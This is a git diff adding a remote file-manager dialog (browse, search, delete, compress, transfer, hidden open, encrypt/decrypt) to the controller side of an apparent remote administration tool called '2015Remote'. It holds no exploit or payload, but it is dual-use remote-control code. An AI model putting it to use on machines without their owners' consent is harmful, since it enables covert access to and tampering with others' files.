command handler code here + CString str; + if (m_list_remote_search.GetSelectedCount() > 1) + str.Format(_T("确定要将这 %d 项删除吗?"), m_list_remote_search.GetSelectedCount()); + else { + CString file = m_list_remote_search.GetItemText(m_list_remote_search.GetSelectionMark(), 0); + if (m_list_remote_search.GetItemData(m_list_remote_search.GetSelectionMark()) == 1) + str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file); + else + str.Format(_T("确实要把“%s”删除吗?"), file); + } + if (::MessageBox(m_hWnd, str, _T("确认删除"), MB_YESNO | MB_ICONQUESTION) == IDNO) + return; + m_Remote_Delete_Job.RemoveAll(); + POSITION pos = m_list_remote_search.GetFirstSelectedItemPosition(); //iterator for the CListCtrl + CString m_Search_Path; + while (pos) { //so long as we have a valid POSITION, we keep iterating + int nItem = m_list_remote_search.GetNextSelectedItem(pos); + m_Search_Path = m_list_remote_search.GetItemText(nItem, 3); + m_Search_Path += '\\'; + CString file = m_Search_Path + m_list_remote_search.GetItemText(nItem, 0); + // 如果是目录 + if (m_list_remote_search.GetItemData(nItem)) + file += _T('\\'); + + m_Remote_Delete_Job.AddTail(file); + } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory + + EnableControl(FALSE); + // 发送第一个下载任务 + SendDeleteJob(); + } + break; + case 300: { + int Index = 0; + Index = m_list_remote_search.GetSelectionMark(); + if (Index == -1) + return; + CString str = m_list_remote_search.GetItemText(Index, 3); + if (Index == -1) + return; + m_Remote_Path = _T(""); + GetRemoteFileList(str); + } + break; + + default: + break; + } + *pResult = 0; +} + + +bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) +{ + LPTSTR p, pszDirCopy; + DWORD dwAttributes; + __try { + pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1)); + if (pszDirCopy == NULL) + return FALSE; + lstrcpy(pszDirCopy, pszDirPath); + p = pszDirCopy; + if ((*p == TEXT('\\')) && (*(p + 1) == TEXT('\\'))) { + p++; // Skip over the first \ in the name. + p++; // Skip over the second \ in the name. + while (*p && *p != TEXT('\\')) { + p = CharNext(p); + } + if (*p) { + p++; + } + while (*p && *p != TEXT('\\')) { + p = CharNext(p); + } + if (*p) { + p++; + } + + } else if (*(p + 1) == TEXT(':')) { // Not a UNC. See if it's : + p++; + p++; + if (*p && (*p == TEXT('\\'))) { + p++; + } + } + + while (*p) { + if (*p == TEXT('\\')) { + *p = TEXT('\0'); + dwAttributes = GetFileAttributes(pszDirCopy); + // Nothing exists with this name. Try to make the directory name and error if unable to. + if (dwAttributes == 0xffffffff) { + if (!CreateDirectory(pszDirCopy, NULL)) { + if (GetLastError() != ERROR_ALREADY_EXISTS) { + free(pszDirCopy); + return FALSE; + } + } + } else { + if ((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) { + // Something exists with this name, but it's not a directory... Error + free(pszDirCopy); + return FALSE; + } + } + *p = TEXT('\\'); + } + p = CharNext(p); + } + } __except (EXCEPTION_EXECUTE_HANDLER) { + free(pszDirCopy); + return FALSE; + } + + free(pszDirCopy); + return TRUE; +} + +//压缩处理 +void CFileManagerDlg::OnCompress() +{ + // TODO: 在此添加命令处理程序代码 + //winrar a -r D:\123.she.rar d:\123.she //加压 + UpdateData(TRUE); + int i = m_list_remote.GetSelectionMark(); + if (i < 0) { + return; + } + CString strMsg = _T("a -ep1 -ibck "); + CString strFullFileName = m_list_remote.GetItemText(i, 0); + if (m_list_remote.GetItemData(i)) { //文件夹 + strMsg += _T("-r "); + strMsg += (m_Remote_Path + strFullFileName); + } else { + strMsg += (m_Remote_Path + strFullFileName); + } + strMsg += _T(".rar"); + strMsg += _T(" "); + strMsg += (m_Remote_Path + strFullFileName); + + int nPacketLength = (strMsg.GetLength() + 1) * sizeof(TCHAR) + 1; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; + memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); +} + +void CFileManagerDlg::OnUncompress() +{ + // TODO: 在此添加命令处理程序代码 + // winrar x D:\11.she.rar D:\11.she\ + UpdateData(TRUE); + int i = m_list_remote.GetSelectionMark(); + if (i < 0) { + return; + } + CString strMsg = _T("x -ibck "); + CString strFullFileName = m_list_remote.GetItemText(i, 0); + + CString strFullName = (m_Remote_Path + strFullFileName); + strMsg += strFullName; + //LFileName lFile(strFullName.GetBuffer(0)); + strMsg += _T(" "); + strMsg += (m_Remote_Path/*+lFile.getNameA()*/); + //strMsg += "\\"; + //COMMAND_UNCOMPRESS_FILE_PARAM + int nPacketLength = (strMsg.GetLength() + 1) * sizeof(TCHAR) + 1; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; + memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); +} + +void CFileManagerDlg::OnSetfocusRemotePath() +{ + // TODO: Add your control notification handler code here + m_list_remote.SetSelectionMark(-1); +} + +void CFileManagerDlg::OnBtnSearch() +{ + UpdateData(); + + // // 得到返回数据前禁窗口 + m_list_remote_search.DeleteAllItems(); + m_ProgressCtrl->SetPos(0); + + if (m_Remote_Path.IsEmpty()) return; + + // 构建数据包 + FILESEARCH mFileSearchPacket; + lstrcpy(mFileSearchPacket.SearchPath, m_Remote_Path.GetBuffer(0)); + lstrcpy(mFileSearchPacket.SearchFileName, m_SearchStr.GetBuffer(0)); + if (m_bSubFordle) + mFileSearchPacket.bEnabledSubfolder = true; + else + mFileSearchPacket.bEnabledSubfolder = false; + + int nPacketSize = sizeof(mFileSearchPacket) + 2; + LPBYTE lpBuffer = new BYTE[nPacketSize]; + lpBuffer[0] = COMMAND_SEARCH_FILE; + memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket)); + m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + SAFE_DELETE_AR(lpBuffer); + // 设置按钮状态 + m_BtnSearch.SetWindowText(_T("正在搜索...")); + + m_list_remote_search.ShowWindow(SW_SHOW); + GetDlgItem(IDC_BTN_SEARCH)->EnableWindow(FALSE); + GetDlgItem(ID_SEARCH_STOP)->EnableWindow(TRUE); + SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); +} + +void CFileManagerDlg::SearchEnd() +{ + int len = m_list_remote_search.GetItemCount(); + m_BtnSearch.SetWindowText(_T("重新搜索")); + ShowMessage(_T("搜索完毕 共:%d 个文件"), len); + m_list_remote_search.EnableWindow(TRUE); + GetDlgItem(IDC_BTN_SEARCH)->EnableWindow(TRUE); + GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); +} + + +void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen) +{ + byte* pList = pbBuffer + 1; + int nItemIndex = 0; + for (byte* pBase = pList; (int)(pList - pBase) < (int)(dwBufferLen - 1);) { + TCHAR* pszFileName = NULL; + DWORD dwFileSizeHigh = 0; + DWORD dwFileSizeLow = 0; + FILETIME ftm_strReceiveLocalFileTime; + int nItem = 0; + bool bIsInsert = false; + int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; + + pszFileName = (TCHAR*) ++pList; + + CString csFilePath, csFileFullName; + csFilePath.Format(_T("%s"), pszFileName); + int nPos = csFilePath.ReverseFind(_T('\\')); + csFileFullName = csFilePath.Right(csFilePath.GetLength() - nPos - 1);// 获取文件全名,包括文件名和扩展名 + + nItem = m_list_remote_search.InsertItem(nItemIndex++, csFileFullName, GetIconIndex(pszFileName, nType)); + m_list_remote_search.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); + + pList += (lstrlen(pszFileName) + 1) * sizeof(TCHAR); + + memcpy(&dwFileSizeHigh, pList, 4); + memcpy(&dwFileSizeLow, pList + 4, 4); + CString strSize; + strSize.Format(_T("%10d KB"), (dwFileSizeHigh * (MAXDWORD)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0)); + + m_list_remote_search.SetItemText(nItem, 1, strSize); + memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME)); + CTime time(ftm_strReceiveLocalFileTime); + m_list_remote_search.SetItemText(nItem, 2, time.Format(_T("%Y-%m-%d %H:%M"))); + + PathRemoveFileSpec(pszFileName); //去除文件名获取文件路径 + m_list_remote_search.SetItemText(nItem, 3, pszFileName); + + pList += 16; + } + + m_ProgressCtrl->StepIt(); +} + + +//文件搜索停止 +void CFileManagerDlg::OnBnClickedSearchStop() +{ + GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); + // TODO: Add your command handler code here + BYTE bToken = COMMAND_FILES_SEARCH_STOP; + m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); +} + +//显示搜索结果 +void CFileManagerDlg::OnBnClickedSearchResult() +{ + m_list_remote_search.ShowWindow(m_list_remote_search.IsWindowVisible() ? SW_HIDE : SW_SHOW); + if (m_list_remote_search.IsWindowVisible()) { + SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); + } else { + SetWindowPos(NULL, 0, 0, 830, 500, SWP_NOMOVE); + } +} + + +void CFileManagerDlg::ShowSearchPlugList() +{ + char* lpBuffer = (char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + char* Filename; + char* Pathname; + + DWORD dwOffset = 0; + m_list_remote_search.DeleteAllItems(); + int i = 0; + for (i = 0; dwOffset < (m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); i++) { + Filename = lpBuffer + dwOffset; + Pathname = Filename + strlen(Filename) + 1; + CString CS_tem; + CS_tem = Filename; + m_list_remote_search.InsertItem(i, CS_tem, 0); + CS_tem = Pathname; + int index = CS_tem.ReverseFind('\\'); + if (index >= 0) + CS_tem = CS_tem.Left(index); + m_list_remote_search.SetItemText(i,3, CS_tem); + dwOffset += strlen(Filename) + strlen(Pathname) + 2; + } + m_list_remote_search.EnableWindow(TRUE); + CString strMsgShow; + strMsgShow.Format(_T("共搜索到 %d 个"), i); + DWORD_PTR dwResult; + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)(strMsgShow.GetBuffer()), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, & dwResult); + m_list_remote_search.ShowWindow( SW_SHOW); +} diff --git a/server/2015Remote/file/CFileManagerDlg.h b/server/2015Remote/file/CFileManagerDlg.h new file mode 100644 index 0000000..cf628bd --- /dev/null +++ b/server/2015Remote/file/CFileManagerDlg.h @@ -0,0 +1,197 @@ +#pragma once +#include "stdafx.h" +#include "CFileListCtrl.h" +#include + +#define MAX_WRITE_RETRY 15 +#define MAX_SEND_BUFFER 65535 +#define MAX_RECV_BUFFER 65535 + +namespace file { + + ///////////////////////////////////////////////////////////////////////////// + // CFileManagerDlg dialog + typedef CList strList; + + typedef struct { + DWORD dwSizeHigh; + DWORD dwSizeLow; + BOOL error; + } FILESIZE; + + typedef struct { + TCHAR SearchFileName[MAX_PATH]; + TCHAR SearchPath[MAX_PATH]; + BOOL bEnabledSubfolder; + } FILESEARCH; + + typedef struct { + LVITEM* plvi; + CString sCol2; + } lvItem, * plvItem; + + typedef struct { + BYTE Token; + int w, h, size; + + } FILEPICINFO; + + + class CFileManagerDlg : public DialogBase + { + // Construction + public: + CString strLpath; + CString m_strDesktopPath; + CString GetDirectoryPath(BOOL bIncludeFiles); + bool m_bCanAdmin, m_bUseAdmin, m_bIsStop; + CString m_strReceiveLocalFile; + CString m_strUploadRemoteFile; + void ShowProgress(); + void SendStop(BOOL bIsDownload); + int m_nTransferMode; + CString m_hCopyDestFolder; + void SendContinue(); + void SendException(); + void EndLocalRecvFile(); + void EndRemoteDeleteFile(); + CString ExtractNameFromFullPath(CString szFullPath); + HANDLE m_hFileSend; + HANDLE m_hFileRecv; + CString m_strOperatingFile; // 文件名 + CString m_strFileName; // 操作文件名 + __int64 m_nOperatingFileLength; // 文件总大小 + __int64 m_nCounter;// 计数器 + void WriteLocalRecvFile(); + void CreateLocalRecvFile(); + BOOL SendDownloadJob(); + BOOL SendUploadJob(); + BOOL SendDeleteJob(); + + strList m_Remote_Download_Job; + strList m_Remote_Upload_Job; + strList m_Remote_Delete_Job; + + void ShowMessage(TCHAR* lpFmt, ...); + CString m_Remote_Path; + CStringA CopyFileNAme;; + BYTE m_bRemoteDriveList[2048]; + CString GetParentDirectory(CString strPath); + void OnReceiveComplete(); + void OnReceive(); + void SearchEnd(); // 搜索结束 + void FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen); + int m_nNewIconBaseIndex; // 新加的ICON + ClientContext* m_pContext; + ISocketBase* m_iocpServer; + CString m_IPAddress; + CProgressCtrl* m_ProgressCtrl; + HCURSOR m_hCursor; + CString m_Local_Path; + bool FixedUploadDirectory(LPCTSTR lpPathName); + void FixedRemoteDriveList(); + void GetRemoteFileList(CString directory = _T("")); + void FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen); + void fixNetHood(BYTE* pbuffer, int buffersize);//远程共享目录 + bool id_search_result; + HICON m_hIcon; + CStatusBar m_wndStatusBar; + CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + ~CFileManagerDlg() { + m_bOnClose = TRUE; + SAFE_DELETE(m_ProgressCtrl); + } + enum { + IDD = IDD_FILE_WINOS + }; + CComboBox m_Remote_Directory_ComboBox; + CComboBox m_Local_Directory_ComboBox; + CFileListCtrl m_list_remote; + CListCtrl m_list_remote_driver; + CListCtrl m_list_remote_search; + CImageList I_ImageList0; + CImageList I_ImageList1; + CButton m_BtnSearch; + CString m_SearchStr; + BOOL m_bSubFordle; + + BOOL DRIVE_Sys; + BOOL DRIVE_CAZ; + + __int64 Bf_nCounters; // 备份计数器 由于比较用 + LONG Bf_dwOffsetHighs; + LONG Bf_dwOffsetLows; + + void TransferSend(CString file); + public: + virtual BOOL PreTranslateMessage(MSG* pMsg); + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + virtual void PostNcDestroy(); + virtual void OnClose(); + protected: + + virtual BOOL OnInitDialog(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnTimer(UINT_PTR nIDEvent); + afx_msg void OnBeginDragListRemote(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnLButtonUp(UINT nFlags, CPoint point); + afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnclkListRemote(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnclickListSearch(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnGo(); + afx_msg void OnRemotePrev(); + afx_msg void OnRemoteView(); + afx_msg void OnRemoteRecent(); + afx_msg void OnRemoteDesktop(); + afx_msg void OnRemoteCopy(); + afx_msg void OnTransferSend(); + afx_msg void OnRemoteDelete(); + afx_msg void OnRemoteStop(); + afx_msg void OnRemoteNewFolder(); + afx_msg void OnTransferRecv(); + afx_msg void OnRename(); + afx_msg void OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnDelete(); + afx_msg void OnDeleteEnforce(); + afx_msg void OnNewFolder(); + afx_msg void OnRefresh(); + afx_msg void OnUseAdmin(); + afx_msg void OnRemoteOpenShow(); + afx_msg void OnRemoteOpenHide(); + afx_msg void OnRemoteEncryption(); + afx_msg void OnRemoteDecrypt(); + afx_msg void OnRemoteInfo(); + afx_msg void OnRemoteCopyFile(); + afx_msg void OnRemotePasteFile(); + afx_msg void OnRemotezip(); + afx_msg void OnRemotezipstop(); + afx_msg void OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg BOOL MyShell_GetImageLists(); + afx_msg void OnCompress(); + afx_msg void OnUncompress(); + afx_msg void OnSetfocusRemotePath(); + afx_msg void OnBtnSearch(); + afx_msg void OnBnClickedSearchStop(); + afx_msg void OnBnClickedSearchResult(); + DECLARE_MESSAGE_MAP() + + protected: + BOOL m_bOnClose; + private: + bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位 + BOOL m_bDragging; // during a drag operation + bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); + void SendTransferMode(); + void SendFileData(); + void EndLocalUploadFile(); + bool DeleteDirectory(LPCTSTR lpszDirectory); + void EnableControl(BOOL bEnable = TRUE); + + void ShowSearchPlugList(); + }; +} diff --git a/server/2015Remote/file/CFileTransferModeDlg.cpp b/server/2015Remote/file/CFileTransferModeDlg.cpp new file mode 100644 index 0000000..3928f79 --- /dev/null +++ b/server/2015Remote/file/CFileTransferModeDlg.cpp @@ -0,0 +1,111 @@ +// FileTransferModeDlg.cpp : implementation file +// +#include "stdafx.h" +#include "2015Remote.h" +#include "CFileTransferModeDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +///////////////////////////////////////////////////////////////////////////// +// CFileTransferModeDlg dialog + +using namespace file; + +CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=NULL*/) + : CDialog(CFileTransferModeDlg::IDD, pParent) +{ +} + + +void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); +} + + +BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog) + ON_BN_CLICKED(IDC_OVERWRITE, &CFileTransferModeDlg::OnBnClickedOverwrite) + ON_BN_CLICKED(IDC_OVERWRITE_ALL, &CFileTransferModeDlg::OnBnClickedOverwriteAll) + ON_BN_CLICKED(IDC_ADDITION, &CFileTransferModeDlg::OnBnClickedAddition) + ON_BN_CLICKED(IDC_ADDITION_ALL, &CFileTransferModeDlg::OnBnClickedAdditionAll) + ON_BN_CLICKED(IDC_JUMP, &CFileTransferModeDlg::OnBnClickedJump) + ON_BN_CLICKED(IDC_JUMP_ALL, &CFileTransferModeDlg::OnBnClickedJumpAll) + ON_BN_CLICKED(IDC_CANCEL, &CFileTransferModeDlg::OnBnClickedCancel) +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CFileTransferModeDlg message handlers + + +void CFileTransferModeDlg::OnEndDialog(UINT id) +{ + EndDialog(id); +} + +BOOL CFileTransferModeDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + CString str; + str.Format(_T("此文件夹已包含一个名为“%s”的文件"), m_strFileName); + + for (int i = 0; i < str.GetLength(); i += 120) { + str.Insert(i, _T("\n")); + i += 1; + } + + SetDlgItemText(IDC_TIPS, str); + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + + +void CFileTransferModeDlg::OnBnClickedOverwrite() +{ + // TODO: 在此添加控件通知处理程序代码 + EndDialog(IDC_OVERWRITE); +} + + +void CFileTransferModeDlg::OnBnClickedOverwriteAll() +{ + // TODO: 在此添加控件通知处理程序代码 + EndDialog(IDC_OVERWRITE_ALL); +} + + +void CFileTransferModeDlg::OnBnClickedAddition() +{ + // TODO: 在此添加控件通知处理程序代码 + EndDialog(IDC_ADDITION); +} + + +void CFileTransferModeDlg::OnBnClickedAdditionAll() +{ + // TODO: 在此添加控件通知处理程序代码 + EndDialog(IDC_ADDITION_ALL); +} + + +void CFileTransferModeDlg::OnBnClickedJump() +{ + // TODO: 在此添加控件通知处理程序代码 + EndDialog(IDC_JUMP); +} + + +void CFileTransferModeDlg::OnBnClickedJumpAll() +{ + // TODO: 在此添加控件通知处理程序代码 + EndDialog(IDC_JUMP_ALL); +} + + +void CFileTransferModeDlg::OnBnClickedCancel() +{ + // TODO: 在此添加控件通知处理程序代码 + EndDialog(IDC_CANCEL); +} diff --git a/server/2015Remote/file/CFileTransferModeDlg.h b/server/2015Remote/file/CFileTransferModeDlg.h new file mode 100644 index 0000000..6793109 --- /dev/null +++ b/server/2015Remote/file/CFileTransferModeDlg.h @@ -0,0 +1,31 @@ + +#pragma once + +///////////////////////////////////////////////////////////////////////////// +// CFileTransferModeDlg dialog + +namespace file { + + class CFileTransferModeDlg : public CDialog + { + public: + CString m_strFileName; + CFileTransferModeDlg(CWnd* pParent = NULL); + + enum { IDD = IDD_TRANSFERMODE_DLG }; + protected: + virtual void DoDataExchange(CDataExchange* pDX); + + protected: + afx_msg void OnEndDialog(UINT id); + virtual BOOL OnInitDialog(); + afx_msg void OnBnClickedOverwrite(); + afx_msg void OnBnClickedOverwriteAll(); + afx_msg void OnBnClickedAddition(); + afx_msg void OnBnClickedAdditionAll(); + afx_msg void OnBnClickedJump(); + afx_msg void OnBnClickedJumpAll(); + afx_msg void OnBnClickedCancel(); + DECLARE_MESSAGE_MAP() + }; +} diff --git a/server/2015Remote/res/file/FILE.ico b/server/2015Remote/res/file/FILE.ico new file mode 100644 index 0000000..4a75363 Binary files /dev/null and b/server/2015Remote/res/file/FILE.ico differ diff --git a/server/2015Remote/res/file/Icon_A.ico b/server/2015Remote/res/file/Icon_A.ico new file mode 100644 index 0000000..0e469d7 Binary files /dev/null and b/server/2015Remote/res/file/Icon_A.ico differ diff --git a/server/2015Remote/res/file/Icon_C.ico b/server/2015Remote/res/file/Icon_C.ico new file mode 100644 index 0000000..f77a13c Binary files /dev/null and b/server/2015Remote/res/file/Icon_C.ico differ diff --git a/server/2015Remote/res/file/Icon_D.ico b/server/2015Remote/res/file/Icon_D.ico new file mode 100644 index 0000000..a261c81 Binary files /dev/null and b/server/2015Remote/res/file/Icon_D.ico differ diff --git a/server/2015Remote/res/file/Icon_E.ico b/server/2015Remote/res/file/Icon_E.ico new file mode 100644 index 0000000..f3d96e0 Binary files /dev/null and b/server/2015Remote/res/file/Icon_E.ico differ diff --git a/server/2015Remote/res/file/Icon_F.ico b/server/2015Remote/res/file/Icon_F.ico new file mode 100644 index 0000000..01628c8 Binary files /dev/null and b/server/2015Remote/res/file/Icon_F.ico differ diff --git a/server/2015Remote/res/file/Icon_G.ico b/server/2015Remote/res/file/Icon_G.ico new file mode 100644 index 0000000..385b401 Binary files /dev/null and b/server/2015Remote/res/file/Icon_G.ico differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 562b75c..e42291d 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 54322ca..ffe7362 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -82,6 +82,7 @@ #define WM_OPENMACHINEMGRDLG WM_USER+3016 #define WM_OPENCHATDIALOG WM_USER+3017 #define WM_OPENDECRYPTDIALOG WM_USER+3018 +#define WM_OPENFILEMGRDIALOG WM_USER+3019 enum { @@ -101,6 +102,7 @@ enum MACHINE_DLG, CHAT_DLG, DECRYPT_DLG, + FILEMGR_DLG, };